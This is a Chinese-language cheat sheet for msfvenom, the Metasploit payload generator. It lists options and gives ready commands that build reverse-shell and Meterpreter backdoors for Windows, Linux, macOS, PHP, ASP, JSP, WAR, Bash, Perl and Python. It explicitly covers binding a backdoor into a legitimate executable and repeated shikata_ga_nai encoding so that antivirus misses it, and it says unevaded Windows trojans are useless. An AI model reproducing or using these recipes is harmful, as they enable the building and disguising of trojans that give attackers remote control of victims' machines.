Msfvenom命令
1. –p (- -payload-options)
添加載荷payload。
載荷這個東西比較多,這個軟件就是根據對應的載荷payload生成對應平台下的后門,所以只有選對payload,再填寫正確自己的IP,PORT就可以生成對應語言,對應平台的后門了!!!
(- -payload-options 列出payload選項)
2. –l
查看所有payload encoder nops。
3. –f (- -help-formats)
輸出文件格式。
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
4. –e
編碼免殺。
5. –a (- -platform – -help-platforms)
選擇架構平台
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
6. –o
文件輸出。
7. –s
生成payload的最大長度,就是文件大小。
8. –b
避免使用的字符 例如:不使用 ‘\0f’。
9. –i
編碼次數。
10. –c
添加自己的shellcode。
11. –x | -k
捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把后門捆綁到這個程序上面。
Msfvenom實例
12. 普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe
13. 編碼處理型
msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
14. 捆綁
Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe
15. Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
16. Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
17. MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
18. PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
19. Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.asp
20. Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
21. JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
22. War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
23. Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
24. Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
25. Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
現階段對於win下的后門,不免殺,不加上點手段,正常是木的用的,普通馬逃不過安全軟件的查殺
中文翻譯
-l, --list <type> 列出指定類型的所有模塊 類型包括: payloads, encoders, nops, platforms, archs, formats, all -p, --payload <payload> 指定需要使用的payload(有效載荷)(--list payloads得到payload列表,--list-options得到指定payload的參數) 如果需要使用自定義的payload,請使用'-'或者stdin指定 --list-options 列出指定payload的標准,高級和規避選項 例如:msfvenom -p generic/shell_bind_tcp --list-options 將列出shell_bind_tcp這個payload的各種選項信息 -f, --format <format> 指定輸出格式(使用 --list formats 列出所有的格式) -e, --encoding <encoder> 要使用的編碼(使用 --list encoders 列出所有的編碼) 用於編碼加密 --smallest 使用所有可用的編碼器生成盡可能小的有效負載 -a, --arch <arch> 指定payload的目標CPU架構(使用 --list archs 列出所有的CPU架構) --platform <platform> 指定payload的目標操作系統平台(使用 --list platforms 列出所有的操作系統平台) -o, --out <path> 將payload保存到文件中 -b, --bad-chars <list> 指定不使用的字符集 例如:不使用'\x00\xff'這兩個字符 -n, --nopsled <length> 在payload上添加指定長度的nop指令 -s, --space <length> 設定payload的最大長度 即生成的文件大小 --encoder-space <length> 設定編碼payload的最大長度(默認為-s的值) -i, --iterations <count> 對payload進行編碼的次數 -c, --add-code <path> 指定一個自己的win32 shellcode文件 -x, --template <path> 指定一個可執行程序 將payload捆綁其中 例如:原先有個正常文件normal.exe 通過此選項把payload捆綁到這個程序上面 -k, --keep 針對-x中的捆綁程序 將創建新線程執行payload 一般情況-x -k選項一起使用 -v, --var-name <value> 指定用於某些輸出格式的自定義變量名稱 -t, --timeout <second> 從STDIN讀取有效負載時等待的秒數(默認為30, 0為禁用) -h, --help 查看幫助